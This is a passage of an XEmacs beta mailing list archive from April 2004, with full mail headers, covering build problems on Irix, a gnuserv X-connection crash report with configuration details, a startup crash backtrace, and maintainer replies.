Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 26 21:27:25 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3R1Q3s26828; Mon, 26 Apr 2004 21:26:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3R1Pm026632 for xemacs-beta-mailman@xemacs.org; Mon, 26 Apr 2004 21:25:48 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3R1Pi826587 for turnbull@tux.org; Mon, 26 Apr 2004 21:25:44 -0400 Received: from omx3.sgi.com (mtvcafw.sgi.com [192.48.171.6]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3R1PZs26443; Mon, 26 Apr 2004 21:25:35 -0400 Received: from larry.melbourne.sgi.com ([134.14.52.130]) by omx3.sgi.com (8.12.11/8.12.9/linux-outbound_gateway-1.1) with SMTP id i3R1WTH2012370; Mon, 26 Apr 2004 18:32:30 -0700 Received: from kuku.melbourne.sgi.com (kuku.melbourne.sgi.com [134.14.55.163]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA02584; Tue, 27 Apr 2004 11:25:29 +1000 Received: from kuku.melbourne.sgi.com (localhost [127.0.0.1]) by kuku.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id i3R1PS0U499437; Tue, 27 Apr 2004 11:25:28 +1000 (EST) Received: (from makc@localhost) by kuku.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id i3R1POCJ499684; Tue, 27 Apr 2004 11:25:24 +1000 (EST) X-Authentication-Warning: kuku.melbourne.sgi.com: makc set sender to makc@melbourne.sgi.com using -f Original-Sender: max.matveev@sgi.com To: "Stephen J. Turnbull" Cc: Deborah Ortiz , xemacs-beta@xemacs.org Subject: Re: Building xemacs-21.4.15 on Irix 6.5.17m References: <408D5DA8.8070506@lanl.gov> <408D8E7B.2030700@lanl.gov> <87pt9ugrre.fsf@tleepslib.sk.tsukuba.ac.jp> From: Max Matveev In-Reply-To: <87pt9ugrre.fsf@tleepslib.sk.tsukuba.ac.jp> Date: 27 Apr 2004 11:25:22 +1000 Message-ID: Lines: 14 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Portable Code) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "stephen" == Stephen J Turnbull writes: >>>>> "vin" == Vin Shelton writes: vin> How about adding --with-database=no instead? I'm not vin> absolutely certain we support db-4. stephen> "Works for me", it does, but "support", no. We don't have anybody stephen> currently who understands that stuff. FWIW, Irix has several instanses of libdb.so so it's quite possible that you just hit the wrong library then then one which was used during the build (I didn't get the original mail from Deborah). max From xemacs-beta-admin@xemacs.org Mon Apr 26 21:59:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3R1w1s22256; Mon, 26 Apr 2004 21:58:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3R1v3421475 for xemacs-beta-mailman@xemacs.org; Mon, 26 Apr 2004 21:57:03 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3R1uxv21392 for turnbull@tux.org; Mon, 26 Apr 2004 21:56:59 -0400 Received: from localhost.localdomain (h-66-166-17-241.snvacaid.covad.net [66.166.17.241]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3R1uks21221 for ; Mon, 26 Apr 2004 21:56:47 -0400 Received: (from mcmillan@localhost) by localhost.localdomain (8.11.6/8.11.6) id i3JHY0w20598; Mon, 19 Apr 2004 10:34:00 -0700 Date: Mon, 19 Apr 2004 10:34:00 -0700 Message-Id: <200404191734.i3JHY0w20598@localhost.localdomain> From: To: xemacs-beta@xemacs.org Subject: XEmacs crashes when gnuserv X connection is lost X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=1.5 required=5.0 tests=DATE_IN_PAST_96_XX, NO_REAL_NAME autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , This bug report will be sent to the XEmacs Development Team, not to your local site managers!! Please write in English, because the XEmacs maintainers do not have translators to read other languages for them. Please describe as succinctly as possible: - What happened. - What you thought should have happened. - Precisely what you were doing at the time. Please also include any C or lisp back-traces that you may have. ================================================================ Dear Bug Team! Do this to see the problem: 1) Start XEmacs and do M-x gnuserv-start 2) Log in remotely, say via ssh, and do: gnuclient& (this creates a new X window on the remote with an XEmacs frame in it). 3) Break the remote connection (say, by killing ssh). XEmacs dies. You can get this effect locally by running gnuclient and then using xkill to kill the client window. Obviously, you don't want to kill XEmacs when you kill gnuclient. In general, XEmacs shouldn't crash when one of several X connections disconnects. It should keep running and only die when there are no remaining frames. ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: Linux daffy.perf.redhat.com 2.4.17-0.13smp #1 SMP Fri Feb 1 10:30:48 EST 2002 i686 unknown ./configure 'i386-redhat-linux' '--prefix=/usr' '--exec-prefix=/usr' '--bindir=/usr/bin' '--datadir=/usr/share' '--libdir=/usr/lib' '--mandir=/usr/share/man/man1' '--infodir=/usr/share/info' '--with-gpm=no' '--with-sound=native' '--with-pop' '--mail-locking=lockf' '--with-clash-detection' '--debug=no' '--error-checking=none' '--with-mule=yes' '--with-database=no' '--with-ldap=yes' '--with-hesiod=no' '--with-canna=yes' '--with-wnn=yes' '--with-menubars=lucid' '--with-scrollbars=lucid' '--with-dialogs=lucid' '--with-xim=xlib' '--with-msw=no' '--with-xfs=yes' XEmacs 21.4.6 "Common Lisp" configured for `i386-redhat-linux'. Compilation / Installation: Source code location: /usr/src/build/74640-i386/BUILD/xemacs-21.4.6 Installation prefix: /usr Operating system description file: `s/linux.h' Machine description file: `m/intel386.h' Compiler: gcc -O2 -march=i386 -mcpu=i686 Relocating allocator for buffers: no GNU version of malloc: yes - Using Doug Lea's new malloc from the GNU C Library. Linking with `-z nocombreloc'. - Consider configuring with --pdump. Window System: Compiling in support for the X window system: - X Windows headers location: /usr/X11R6/include - X Windows libraries location: /usr/X11R6/lib - Handling WM_COMMAND properly. Using Lucid menubars. Using Lucid scrollbars. TTY: Compiling in support for ncurses. Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Sound: Compiling in support for sound (native). Databases: Compiling in support for LDAP. Compiling in support for PostgreSQL. - Using PostgreSQL header file: libpq-fe.h - Using PostgreSQL V7 bindings. Internationalization: Compiling in support for Mule (multi-lingual Emacs). Compiling in support for XIM (X11R5+ I18N input method). - Using raw Xlib to provide XIM support. - Using XFontSet to provide bilingual menubar. Compiling in support for Canna on Mule. Compiling in support for the WNN input method on Mule. Mail: Compiling in support for POP mail retrieval. Compiling in support for "lockf" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Load-Path Lisp Shadows: ---------------------- (/usr/lib/xemacs/xemacs-packages/lisp/apel/alist /usr/share/xemacs-21.4.6/lisp/alist) Installed XEmacs Packages: ------------------------- ((zenirc:version 1.13 :type regular) (xslt-process :version 1.06 :type regular) (xemacs-devel :version 1.4 :type single-file) (xemacs-base :version 1.57 :type regular) (w3 :version 1.21 :type regular) (vm :version 7.02 :type regular) (viper :version 1.31 :type regular) (view-process :version 1.11 :type regular) (vhdl :version 1.15 :type regular) (vc-cc :version 1.18 :type regular) (vc :version 1.3 :type regular) (tramp :version 1.01 :type regular) (tpu :version 1.12 :type regular) (tooltalk :version 1.13 :type regular) (tm :version 1.3 :type regular) (time :version 1.11 :type regular) (textools :version 1.12 :type regular) (text-modes :version 1.36 :type single-file) (texinfo :version 1.2 :type regular) (supercite :version 1.19 :type regular) (strokes :version 1.08 :type regular) (speedbar :version 1.22 :type regular) (sounds-wav :version 1.1 :type regular) (sounds-au :version 1.1 :type regular) (slider :version 1.13 :type regular) (sieve :version 1.01 :type regular) (sh-script :version 1.13 :type regular) (sgml :version 1.08 :type regular) (semantic :version 1.11 :type regular) (scheme :version 1.11 :type regular) (rmail :version 1.13 :type regular) (reftex :version 1.24 :type regular) (psgml :version 1.26 :type regular) (ps-print :version 1.02 :type regular) (prog-modes :version 1 .49 :type single-file) (pcomplete :version 1.01 :type regular) (pcl-cvs :version 1.57 :type regular) (pc :version 1.21 :type single-file) (os-utils :version 1.26 :type single-file) (net-utils :version 1.23 :type single-file) (misc-games :version 1.15 :type single-file) (mine :version 1.14 :type regular) (mh-e :version 1.14 :type regular) (mailcrypt :version 2.11 :type regular) (mail-lib :version 1.42 :type regular) (jde :version 1.31 :type regular) (ispell :version 1.24 :type regular) (ilisp :version 1.2 :type regular) (igrep :version 1.08 :type regular) (idlwave :version 1.24 :type regular) (hm--html-menus :version 1.17 :type regular) (gnus :version 1.58 :type regular) (gnats :version 1.13 :type regular) (games :version 1.13 :type regular) (fsf-compat :version 1.09 :type single-file) (frame-icon :version 1.09 :type regular) (forms :version 1.14 :type regular) (footnote :version 1.13 :type regular) (eudc :version 1.35 :type regular) (eterm :version 1.13 :type regular) (eshell :version 1.02 :type regular) (emerge :version 1.09 :type regular) (elib :version 1.1 :type single-file) (eieio :version 1.02 :type regular) (efs :version 1.27 :type regular) (edt :version 1.12 :type regular) (edit-utils :version 1.75 :type single-file) (ediff :version 1.35 :type regular) (edebug :version 1.14 :type regular) (dired :version 1.11 :type regular) (dictionary :version 1.06 :type regular) (debug :version 1.14 :type regular) (crisp :version 1.12 :type regular) (cookie :version 1.13 :type regular) (clearcase :version 1.02 :type regular) (cc-mode :version 1.27 :type regular) (calendar :version 1.18 :type regular) (calc :version 1.18 :type regular) (c-support :version 1.16 :type single-file) (build :version 1.05 :type regular) (bbdb :version 1.17 :type regular) (auctex :version 1.29 :type regular) (ada :version 1.1 :type regular) (mule-ucs :version 1.01 :type regular) (mule-base :version 1.39 :type regular) (lookup :version 1.09 :type regular) (locale :version 1.18 :type regular) (leim :version 1.17 :type regular) (egg-its :version 1.26 :type regular) (edict :version 1.12 :type regular)) Features: -------- (mail-abbrevs xemacsbug shadow sendmail rfc822 font-lock tex-site mwheel rpm-spec-mode cus-face zenirc-autoloads xslt-process-autoloads xemacs-devel-autoloads xemacs-base-autoloads w3-autoloads vm-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tramp-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads slider-autoloads sieve-autoloads sh-script-autoloads sgml-autoloads semantic-autoloads scheme-autoloads rmail-autoloads reftex-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads net-utils-autoloads misc-games-autoloads mine-autoloads mh-e-autoloads mailcrypt-autoloads mail-lib-autoloads jde-autoloads ispell-autoloads ilisp-autoloads igrep-autoloads idlwave-autoloads hm--html-menus-autoloads gnus-autoloads gnats-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads forms-autoloads footnote-autoloads eudc-autoloads eterm-autoloads eshell-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads edebug-autoloads dired-autoloads dictionary-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads mule-ucs-autoloads mule-base-autoloads lookup-autoloads locale-autoloads leim-autoloads egg-its-autoloads edict-autoloads lisp-autoloads loadhist auto-show fontl-hooks x-iso8859-1 canna-leim slovenian czech romanian ccl mule-help code-cmds gutter-items menubar-items x-menubar mode-motion mouse itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived frame text-props obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote very-early-lisp postgresqlv7 postgresql CANNA file-coding wnn mule lucid-scrollbars cut-buffer lucid-menubars x c-balloon-help tty-frames tty toolbar native-sound scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar md5 xemacs xim gutter tiff png gif jpeg xpm xbm lisp-float-type linux devices window-system base64) Recent keystrokes: ----------------- misc-user C-c C-c C-g C-g button1 misc-user Recent messages (most recent first): ----------------------------------- Not over a window. Quit Quit C-c C-c not defined. Loading xemacsbug...done Loading xemacsbug... Loading mwheel...done Loading mwheel... Loading cus-face...done Loading cus-face... Loading /usr/lib/xemacs/xemacs-packages/lisp/site-start.d/xemacs-po-mode-init.el...done Loading /usr/lib/xemacs/xemacs-packages/lisp/site-start.d/xemacs-po-mode-init.el... Loading /usr/lib/xemacs/xemacs-packages/lisp/site-start.d/psgml-init.el...done Loading /usr/lib/xemacs/xemacs-packages/lisp/site-start.d/psgml-init.el... Loading /usr/lib/xemacs/xemacs-packages/lisp/site-start.d/aspell-init.el...done Loading /usr/lib/xemacs/xemacs-packages/lisp/site-start.d/aspell-init.el... From xemacs-beta-admin@xemacs.org Tue Apr 27 02:34:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3R6YBs14453; Tue, 27 Apr 2004 02:34:11 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3R6XKM13895 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 02:33:20 -0400 Resent-From: "Stephen J. Turnbull" Resent-Message-ID: <16525.65200.693291.534626@gwyn.tux.org> Resent-Date: Tue, 27 Apr 2004 02:33:20 -0400 (EDT) Resent-To: xemacs-beta-mailman@xemacs.org Mime-Version: 1.0 (Apple Message framework v613) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <0F82DE0B-9763-11D8-BC62-000A95C6FE96@informatik.uni-siegen.de> Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.613) Old-X-XEmacs-List: crashes X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 X-BeenThere: xemacs-crashes@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk X-XEmacs-List: beta From: Holger Schulz To: crashes@xemacs.org Subject: Crash Date: Mon, 26 Apr 2004 11:21:12 +0200 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Xemacs went fine on friday. Today I can't get it to run: ---schnipp--- connect /tmp/.X11-unix/X0: No such file or directory Fatal error: assertion failed, file device-x.c, line 1119, d != NULL Fatal error (6). Your files have been auto-saved. Use `M-x recover-session' to recover them. If you have access to the PROBLEMS file that came with your version of XEmacs, please check to see if your crash is described there, as there may be a workaround available. Otherwise, please report this bug by running the send-pr script included with XEmacs, or selecting `Send Bug Report' from the help menu. As a last resort send ordinary email to `crashes@xemacs.org'. *MAKE SURE* to include the information in the command M-x describe-installation. If at all possible, *please* try to obtain a C stack backtrace; it will help us immensely in determining what went wrong. To do this, locate the core file that was produced as a result of this crash (it's usually called `core' and is located in the directory in which you started the editor, or maybe in your home directory), and type gdb /usr/bin/xemacs core then type `where' when the debugger prompt comes up. (If you don't have GDB on your system, you might have DBX, or XDB, or SDB. A similar procedure should work for all of these. Ask your system administrator if you need more help.) Lisp backtrace follows: # (unwind-protect ...) make-device(x nil) # bind (display) make-x-device(nil) init-x-win() # bind (debugger debug-on-error command-line-args-left) command-line() # (unwind-protect ...) normal-top-level() # (condition-case ... . error) # (catch top-level ...) [1] Abort xemacs ---cut--- Is there anything I can do? Thanks hs From xemacs-beta-admin@xemacs.org Tue Apr 27 02:41:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3R6f2s19069; Tue, 27 Apr 2004 02:41:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3R6e2b18440 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 02:40:02 -0400 Resent-From: "Stephen J. Turnbull" Resent-Message-ID: <16526.66.82924.77189@gwyn.tux.org> Resent-Date: Tue, 27 Apr 2004 02:40:02 -0400 (EDT) Resent-To: xemacs-beta-mailman@xemacs.org Message-ID: <197.2896bf39.2dbecbe9@aol.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------------------------1083011561" X-Mailer: 9.0 for Windows sub 880 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=1.1 required=5.0 tests=HTML_30_40,HTML_MESSAGE, NO_REAL_NAME autolearn=no version=2.63 From: Robinows@aol.com To: dao@lanl.gov CC: xemacs-beta@xemacs.org Subject: Re: Building xemacs-21.4.15 on Irix 6.5.17m Date: Mon, 26 Apr 2004 16:32:41 EDT Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , -------------------------------1083011561 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit It's been a few years since I used Irix, but my recollection is that some of the image libraries, i.e. xpm, png, etc are non-standard or obsolete. You need to download newer versions, install them, and play with the makefile to assure that you don't access the wrong shared libraries. In a message dated 4/26/2004 4:16:48 PM Eastern Daylight Time, dao@lanl.gov writes: Thanks for responding so quickly. Pdump was one of the options I tried. I used this configuration line. ./configure '--prefix=/usr/lanl' '--with-xpm=yes' --site-includes=/usr/lanl/include --site-libraries=/usr/lanl/lib --libs=-lpthread --pdump Deborah A. Ortiz dao@lanl.gov ESD/UNIX CCN-2 (505) 665-7223 104-4804 -------------------------------1083011561 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
It's been a few years since I used Irix, but my recollection is that so= me=20 of the image libraries,
i.e.  xpm, png, etc are non-standard or obsolete.  You need t= o=20 download newer versions, install them, and play with the makefile to assure=20= that=20 you don't access the wrong shared libraries.
 
In a message dated 4/26/2004 4:16:48 PM Eastern Daylight Time, dao@lanl= .gov=20 writes:
<= FONT=20 style=3D"BACKGROUND-COLOR: transparent" face=3DArial color=3D#000000 size= =3D2>Thanks=20 for responding so quickly.  Pdump was one of the
options I=20 tried.  I used this configuration line.


./configure=20 '--prefix=3D/usr/lanl' '--with-xpm=3Dyes'
--site-includes=3D/usr/lanl/= include=20 --site-libraries=3D/usr/lanl/lib
--libs=3D-lpthread --pdump

Deborah=20 A. Ortiz    dao@lanl.gov
ESD/UNIX       =20 CCN-2
(505) 665-7223       =20 104-4804

 
-------------------------------1083011561-- From xemacs-beta-admin@xemacs.org Tue Apr 27 03:54:13 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3R7s8s09058; Tue, 27 Apr 2004 03:54:08 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3R7rQH08486 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 03:53:26 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3R7rPL08461 for turnbull@tux.org; Tue, 27 Apr 2004 03:53:25 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3R7rOs08426 for ; Tue, 27 Apr 2004 03:53:24 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BINOt-0001zq-00; Tue, 27 Apr 2004 16:53:07 +0900 To: Cc: xemacs-beta@xemacs.org Subject: Re: XEmacs crashes when gnuserv X connection is lost References: <200404191734.i3JHY0w20598@localhost.localdomain> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 27 Apr 2004 16:53:07 +0900 In-Reply-To: <200404191734.i3JHY0w20598@localhost.localdomain> (mcmillan@cadence.com's message of "Mon, 19 Apr 2004 10:34:00 -0700") Message-ID: <87d65thn6k.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "mcmillan" == mcmillan writes: mcmillan> 1) Start XEmacs and do M-x gnuserv-start mcmillan> 2) Log in remotely, say via ssh, and do: gnuclient& mcmillan> 3) Break the remote connection (say, by killing ssh). mcmillan> XEmacs dies. Thanks for the report. Sounds familiar, I think it's fixed. I don't have an XEmacs 21.4 available on the other host where I can burn & pillage, but this does _not_ take 21.5.17 down over there. Several changes were made to handling of X connections in XEmacs 21.4.10, 21.4.11, and 21.4.14. I'll build & check, but it'll be a few days; maybe somebody else will get to it first. In the meantime, you might want to try a newer version: 21.4.6 has many known bugs, including a few fatal ones. mcmillan> You can get this effect locally by running gnuclient and mcmillan> then using xkill to kill the client window. Obviously, mcmillan> you don't want to kill XEmacs when you kill gnuclient. This isn't the same; when you run gnuclient locally it connects to XEmacs and tells it to put up the window. xkill does not just delete the window, it closes the server connection to XEmacs (not to gnuclient, which doesn't know Cambridge MA from Redmond WA: neither gnuclient nor gnuserv ever calls XOpenDisplay), and XEmacs _should_ then close up shop. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 27 09:07:34 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3RD7Ds13242; Tue, 27 Apr 2004 09:07:13 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3RD6YX12808 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 09:06:34 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3RD6XO12790 for turnbull@tux.org; Tue, 27 Apr 2004 09:06:33 -0400 Received: from ovenbird.mail.pas.earthlink.net (ovenbird.mail.pas.earthlink.net [207.217.120.247]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3RD6Xs12783 for ; Tue, 27 Apr 2004 09:06:33 -0400 Received: from kingbird-120.pocket ([10.4.120.213] helo=kingbird) by ovenbird.mail.pas.earthlink.net with smtp (Exim 3.36 #1) id 1BISIC-0004iI-00 for xemacs-beta@xemacs.org; Tue, 27 Apr 2004 06:06:32 -0700 X-MindSpring-Loop: webdetective@web-detective.com To: xemacs-beta@xemacs.org Precedence: bulk From: webdetective@web-detective.com Subject: Your Web Detective Email Reply Message-Id: Date: Tue, 27 Apr 2004 06:06:32 -0700 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=2.1 required=5.0 tests=DCC_CHECK,NO_REAL_NAME autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , IMPORTANT: HOW TO CONTACT WEB DETECTIVE This Is An Automatic Email Reply From Web Detective DO NOT use "REPLY TO" to RESPOND to this EMAIL. We have received your Email. Due to email "problems", spam and viruses will not be able to respond to you directly at this address. For an immediate response to your needs please follow the directions below. PROBLEMS ACCESSING MEMBERS AREA? Send Email to: myaccess@web-detective.com Include as much of your signup information as you can. We'll email right back with your access info. REFUND REQUESTS? Email to: refund@web-detective.com Please include your ticket number for identification. TO CONTACT A LIVE PERSON Email to: question@web-detective.com We'll respond ASAP Thanks, Administration From xemacs-beta-admin@xemacs.org Tue Apr 27 09:39:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3RDd2s03335; Tue, 27 Apr 2004 09:39:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3RDcBS02736 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 09:38:11 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3RDcAD02717 for turnbull@tux.org; Tue, 27 Apr 2004 09:38:10 -0400 Received: from mailwasher-b.lanl.gov (mailwasher.lanl.gov [192.16.0.25]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3RDc9s02710; Tue, 27 Apr 2004 09:38:09 -0400 Received: from mailrelay2.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3RDc4ik008555; Tue, 27 Apr 2004 07:38:04 -0600 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay2.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3RDc3p9013809; Tue, 27 Apr 2004 07:38:03 -0600 Received: from lanl.gov (debbie.lanl.gov [128.165.129.123]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3RDc3iZ000362; Tue, 27 Apr 2004 07:38:03 -0600 Message-ID: <408E6235.20700@lanl.gov> Date: Tue, 27 Apr 2004 07:37:57 -0600 From: Deborah Ortiz User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.6) Gecko/20040116 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Max Matveev CC: "Stephen J. Turnbull" , xemacs-beta@xemacs.org Subject: Re: Building xemacs-21.4.15 on Irix 6.5.17m References: <408D5DA8.8070506@lanl.gov> <408D8E7B.2030700@lanl.gov> <87pt9ugrre.fsf@tleepslib.sk.tsukuba.ac.jp> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.35 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , I have built this on solaris 7, 8 and 9 and linux with db-4. I will try making sure I am using the db-4 libs and not one of irix's many others and see what happens. Thanks everyone, Debbie Max Matveev wrote: >>>>>>"stephen" == Stephen J Turnbull writes: > > >>>>>>"vin" == Vin Shelton writes: > > vin> How about adding --with-database=no instead? I'm not > vin> absolutely certain we support db-4. > > stephen> "Works for me", it does, but "support", no. We don't have anybody > stephen> currently who understands that stuff. > > FWIW, Irix has several instanses of libdb.so so it's quite possible > that you just hit the wrong library then then one which was used > during the build (I didn't get the original mail from Deborah). > > max -- _________________________________________ Deborah A. Ortiz dao@lanl.gov ESD/UNIX CCN-2 (505) 665-7223 104-4804 From xemacs-beta-admin@xemacs.org Tue Apr 27 09:53:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3RDr3s13998; Tue, 27 Apr 2004 09:53:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3RDqqE13854 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 09:52:52 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3RDqou13832 for turnbull@tux.org; Tue, 27 Apr 2004 09:52:50 -0400 Received: from rent.teradyne.com (rent.teradyne.com [198.51.251.8]) by gwyn.tux.org 